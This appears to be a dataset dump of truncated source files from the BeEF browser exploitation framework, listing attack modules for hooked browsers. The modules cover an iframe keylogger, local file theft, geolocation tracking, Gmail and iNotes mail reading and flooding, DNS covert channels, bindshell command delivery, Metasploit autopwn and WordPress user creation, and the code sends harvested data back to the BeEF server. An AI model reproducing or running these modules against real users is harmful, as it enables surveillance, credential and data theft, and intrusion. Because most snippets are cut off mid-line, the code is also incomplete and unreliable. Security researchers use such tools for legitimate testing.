language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
Ruby
beef/modules/host/iphone_tel/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Iphone_tel < BeEF::Core::Command def self.options [ { 'name' => 'tel_num', 'description' => 'Telephone number', 'ui_label'...
JavaScript
beef/modules/host/physical_location/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if(!beef.geolocation.isGeolocationEnabled()){ beef.net.send("<%= @command_url %>", <%= @command...
YAML
beef/modules/host/physical_location/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: physical_location: enable: true category: "Host" name: "Get Geolocation" ...
Ruby
beef/modules/host/physical_location/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Physical_location < BeEF::Core::Command def post_execute content = {} content['Geolocation Enabled'] = @datastore['geoLocEna...
JavaScript
beef/modules/host/physical_location_thirdparty/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var url = "<%= @api_url %>"; var timeout = 10000; if (!beef.browser.hasCors()) { beef.net.send('<%...
YAML
beef/modules/host/physical_location_thirdparty/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: physical_location_thirdparty: enable: true category: "Host" name: "Get Geoloca...
Ruby
beef/modules/host/physical_location_thirdparty/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Physical_location_thirdparty < BeEF::Core::Command def self.options [{ 'name' => 'api_url', 'type' => 'combobox', ...
JavaScript
beef/modules/ipec/cross_site_faxing/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var target_ip = "<%= @ip %>"; var target_port = "<%= @port %>"; var recname = "<%= @recname %>"; var rec...
YAML
beef/modules/ipec/cross_site_faxing/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: cross_site_faxing: enable: true category: "IPEC" name: "Cross-Site Faxing (XSF...
Ruby
beef/modules/ipec/cross_site_faxing/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Cross_site_faxing < BeEF::Core::Command def self.options [ { 'name' => 'ip', 'ui_label' => 'Target Address', 'value' => 'l...
JavaScript
beef/modules/ipec/cross_site_printing/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var target_ip = "<%= @ip %>"; var target_port = "<%= @port %>"; // send a request function send_msg(ip,...
YAML
beef/modules/ipec/cross_site_printing/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: cross_site_printing: enable: true category: "IPEC" name: "Cross-Site Printing ...
Ruby
beef/modules/ipec/cross_site_printing/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Cross_site_printing < BeEF::Core::Command def self.options [ { 'name' => 'ip', 'ui_label' => 'Target Address', 'value' => ...
JavaScript
beef/modules/ipec/dns_tunnel/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /* Poor man's unidirectional DNS tunnel in JavaScript. The largely-untested, highly experimental first draft. How it works: A remote ...
YAML
beef/modules/ipec/dns_tunnel/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: dns_tunnel: enable: false category: "IPEC" name: "DNS Tunnel" desc...
Ruby
beef/modules/ipec/dns_tunnel/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Dns_tunnel < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance beef_host = @configura...
JavaScript
beef/modules/ipec/etag_client/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // // beef.execute(function(){ var start_time = 0; var origin = ''; var header = ''; var message ...
YAML
beef/modules/ipec/etag_client/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: etag_client: enable: true category: "IPEC" name: "ETag Tunnel: Server-to-Clien...
Ruby
beef/modules/ipec/etag_client/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Etag_client < BeEF::Core::Command def self.options [ { 'name' => 'payload_name', 'ui_label' => 'Payload Name', 'type' => '...
JavaScript
beef/modules/ipec/inter_protocol_imap/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * Inter protocol IMAP module * Ported from BeEF-0.4.0.0 by jgaliana (Original author: Wade) * */ beef.execute(function() { va...
YAML
beef/modules/ipec/inter_protocol_imap/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: inter_protocol_imap: enable: true category: "IPEC" name: "IMAP" de...
Ruby
beef/modules/ipec/inter_protocol_imap/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Inter_protocol_imap < BeEF::Core::Command def self.options [ { 'name' => 'server', 'ui_label' => 'IMAP Server', 'value' =>...
JavaScript
beef/modules/ipec/inter_protocol_irc/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * Inter protocol IRC module * Developed by jgaliana * * It is known that some IRC servers have protections against browser's co...
YAML
beef/modules/ipec/inter_protocol_irc/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: inter_protocol_irc: enable: true category: "IPEC" name: "IRC" desc...
Ruby
beef/modules/ipec/inter_protocol_irc/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Inter_protocol_irc < BeEF::Core::Command def self.options [ { 'name' => 'rhost', 'ui_label' => 'IRC Server', 'value' => '1...
JavaScript
beef/modules/ipec/inter_protocol_posix_bindshell/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var target_ip = "<%= @ip %>"; var target_port = "<%= @port %>"; var cmd = '<%= @cmd %>'; var timeout = "...
YAML
beef/modules/ipec/inter_protocol_posix_bindshell/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: inter_protocol_posix_bindshell: enable: true category: "IPEC" name: "Bindshell...
Ruby
beef/modules/ipec/inter_protocol_posix_bindshell/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # [+] Summary: # # Using Inter-protocol Communication (IPC) the zombie browser will send commands to a listening POSIX shell bound on the ta...
JavaScript
beef/modules/ipec/inter_protocol_redis/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // validate payload try { var cmd = '<%= @commands.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>'; } catch(e) ...
YAML
beef/modules/ipec/inter_protocol_redis/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: inter_protocol_redis: enable: true category: "IPEC" name: "Redis" ...
Ruby
beef/modules/ipec/inter_protocol_redis/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Inter_protocol_redis < BeEF::Core::Command def self.options cmd = 'set server:name "BeEF says:\\\\nm00!"\\nquit\\n' [ ...
JavaScript
beef/modules/ipec/inter_protocol_win_bindshell/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // validate payload try { var cmd = '<%= @commands.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>'; } catch(e) ...
JavaScript
beef/modules/ipec/inter_protocol_win_bindshell/command.old.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // // This is the old module which supports bi-directional communications for Firefox before version ~16 beef.execute(function() { var ta...
YAML
beef/modules/ipec/inter_protocol_win_bindshell/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: inter_protocol_win_bindshell: enable: true category: "IPEC" name: "Bindshell (...
Ruby
beef/modules/ipec/inter_protocol_win_bindshell/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # The bindshell is closed once the module has completed. This is necessary otherwise the cmd.exe process will hang. To avoid this issue: # ...
JavaScript
beef/modules/ipec/s2c_dns_tunnel/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /* This JavaScript retreives data from a server via DNS covert channel. A remote controlled domain with a custom DNS server implementi...
YAML
beef/modules/ipec/s2c_dns_tunnel/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: s2c_dns_tunnel: enable: true category: "IPEC" name: "DNS Tunnel: Server-to-Cli...
Ruby
beef/modules/ipec/s2c_dns_tunnel/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class S2c_dns_tunnel < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance zone = @configurat...
JavaScript
beef/modules/metasploit/browser_autopwn/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var url = '<%= @sploit_url %>'; if (!/https?:\/\//i.test(url)) { beef.net.send("<%= @command_url %>", <%=...
YAML
beef/modules/metasploit/browser_autopwn/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: browser_autopwn: enable: false category: "Metasploit" name: "Browser AutoPwn" ...
Ruby
beef/modules/metasploit/browser_autopwn/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Browser_autopwn < BeEF::Core::Command def self.options @conf = BeEF::Core::Configuration.instance @uri = 'Enter AutoPwn URL ...
JavaScript
beef/modules/misc/blockui/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var timeout = '<%= @timeout %>' * 1000; var blockui = function() { $j.blockUI({ message: decodeURICo...
YAML
beef/modules/misc/blockui/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: blockui: enable: true category: "Misc" name: "BlockUI Modal Dialog" ...
Ruby
beef/modules/misc/blockui/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Blockui < BeEF::Core::Command def self.options [ { 'name' => 'message', 'ui_label' => 'Message', 'type' => 'textarea', 'va...
JavaScript
beef/modules/misc/ibm_inotes/extract_inotes_list/command.js
// // Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by a...
YAML
beef/modules/misc/ibm_inotes/extract_inotes_list/config.yaml
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
Ruby
beef/modules/misc/ibm_inotes/extract_inotes_list/module.rb
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
JavaScript
beef/modules/misc/ibm_inotes/inotes_flooder/command.js
// // Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by a...
YAML
beef/modules/misc/ibm_inotes/inotes_flooder/config.yaml
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
Ruby
beef/modules/misc/ibm_inotes/inotes_flooder/module.rb
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
JavaScript
beef/modules/misc/ibm_inotes/read_inotes/command.js
// // Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by a...
YAML
beef/modules/misc/ibm_inotes/read_inotes/config.yaml
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
Ruby
beef/modules/misc/ibm_inotes/read_inotes/module.rb
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
JavaScript
beef/modules/misc/ibm_inotes/send_inotes/command.js
// // Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by a...
YAML
beef/modules/misc/ibm_inotes/send_inotes/config.yaml
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
Ruby
beef/modules/misc/ibm_inotes/send_inotes/module.rb
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
JavaScript
beef/modules/misc/ibm_inotes/send_inotes_with_attachment/command.js
// // Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by a...
YAML
beef/modules/misc/ibm_inotes/send_inotes_with_attachment/config.yaml
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
Ruby
beef/modules/misc/ibm_inotes/send_inotes_with_attachment/module.rb
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
JavaScript
beef/modules/misc/iframe_keylogger/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // logged keystrokes array var stream = new Array(); // add the pressed key to the keystroke st...
YAML
beef/modules/misc/iframe_keylogger/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: iframe_keylogger: enable: true category: "Misc" name: "iFrame Event Key Logger...
Ruby
beef/modules/misc/iframe_keylogger/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Iframe_keylogger < BeEF::Core::Command def self.options [ { 'name' => 'iFrameSrc', 'ui_label' => 'iFrame Src', 'type' => '...
JavaScript
beef/modules/misc/iframe_sniffer/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var inputURL = '<%= @inputUrl %>'; var anchorsToCheck = '<%= @anchorsToCheck %>'; var arrayOfAnchorsTo...
YAML
beef/modules/misc/iframe_sniffer/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: iframe_sniffer: enable: true category: "Misc" name: "iFrame Sniffer" ...
JavaScript
beef/modules/misc/iframe_sniffer/leakyframe.js
/** * LeakyFrame JS Library * * Copyright (c) 2012 Paul Stone * * Permission is hereby granted, free of charge, to any person obtaining a copy of this * software and associated documentation files (the "Software"), to deal in the Software * without restriction, including without limitation the rights to use, ...
Ruby
beef/modules/misc/iframe_sniffer/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Iframe_sniffer < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/...
JavaScript
beef/modules/misc/invisible_iframe/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var target = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@target) %>')); var ...
YAML
beef/modules/misc/invisible_iframe/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: invisible_iframe: enable: true category: "Misc" name: "Create Invisible Iframe...
Ruby
beef/modules/misc/invisible_iframe/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Invisible_iframe < BeEF::Core::Command def self.options [ { 'name' => 'target', 'ui_label' => 'URL', 'value' => 'http://be...
JavaScript
beef/modules/misc/local_file_theft/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // // local_file_theft // // Shamelessly plagurised from kos.io/xsspwn beef.execute(function() { result = ''; fileList = ['l...
YAML
beef/modules/misc/local_file_theft/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # local_file_theft # # Shamelessly plagurised from kos.io/xsspwn beef: module: local_file_theft: enable: true ...
Ruby
beef/modules/misc/local_file_theft/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # local_file_theft # # Shamelessly plagurised from kos.io/xsspwn class Local_file_theft < BeEF::Core::Command def self.options [ ...
JavaScript
beef/modules/misc/nosleep/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { enableNoSleep = function() { var noSleep = new NoSleep(); noSleep.enable(); beef.net.send('<%=...
YAML
beef/modules/misc/nosleep/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: no_sleep: enable: true category: "Misc" name: "No Sleep" descripti...
Ruby
beef/modules/misc/nosleep/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class No_sleep < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/noslee...
JavaScript
beef/modules/misc/nosleep/NoSleep.min.js
// NoSleep.min.js v0.5.0 - git.io/vfn01 - Rich Tibbett - MIT license !function(A){function e(A,e,o){var t=document.createElement("source");t.src=o,t.type="video/"+e,A.appendChild(t)}var o={Android:/Android/gi.test(navigator.userAgent),iOS:/AppleWebKit/.test(navigator.userAgent)&&/Mobile\/\w+/.test(navigator.userAgent)}...
beef/modules/misc/nosleep/update-lib
#!/bin/sh wget 'https://raw.githubusercontent.com/richtr/NoSleep.js/master/NoSleep.min.js' -O NoSleep.min.js
JavaScript
beef/modules/misc/raw_javascript/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result; try { result = function() {<%= @cmd %>}(); } catch(e) { for(var n in e) result+=...
YAML
beef/modules/misc/raw_javascript/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: raw_javascript: enable: true category: "Misc" name: "Raw JavaScript" ...
Ruby
beef/modules/misc/raw_javascript/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Raw_javascript < BeEF::Core::Command def self.options [ { 'name' => 'cmd', 'description' => 'Javascript Code', 'ui_label' ...
JavaScript
beef/modules/misc/read_gmail/command.js
// // Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by a...
YAML
beef/modules/misc/read_gmail/config.yaml
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
Ruby
beef/modules/misc/read_gmail/module.rb
# # Copyright (c) 2006-2023Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
JavaScript
beef/modules/misc/track_physical_movement/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var status = 'loading'; var update_interval = 1000; if (!beef.hardware.isMobileDevice()) { beef.d...
YAML
beef/modules/misc/track_physical_movement/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: track_physical_movement: enable: true category: "Misc" name: "Track Physical M...
Ruby
beef/modules/misc/track_physical_movement/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Track_physical_movement < BeEF::Core::Command def self.options [] end def post_execute save({ 'result' => @datastore['r...
JavaScript
beef/modules/misc/unblockui/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { $j.unblockUI(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=command sent'); });
YAML
beef/modules/misc/unblockui/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: unblockui: enable: true category: "Misc" name: "UnBlockUI" descrip...
Ruby
beef/modules/misc/unblockui/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Unblockui < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] save content en...
Ruby
beef/modules/misc/wordpress/wordpress_command.rb
# # Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # Author Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/ # require 'securerandom' class WordPressCommand < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Han...
JavaScript
beef/modules/misc/wordpress/wp.js
/* Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission Author @erwan_lr (WPScanTeam) - https://wpscan.org/ */ // Pretty sure we could use jQuery as it's included by the hook.js // Also, could have all that in as WP.prototype ? functio...
JavaScript
beef/modules/misc/wordpress/add_user/command.js
/* Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore Original Author: Daniel Reece (@HBRN8). Rewritten by Erwan LR (@erw...
YAML
beef/modules/misc/wordpress/add_user/config.yaml
# # Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore # # Original Author: Daniel Reece (@HBRN8). # Rewritten by Erwan LR (@e...
Ruby
beef/modules/misc/wordpress/add_user/module.rb
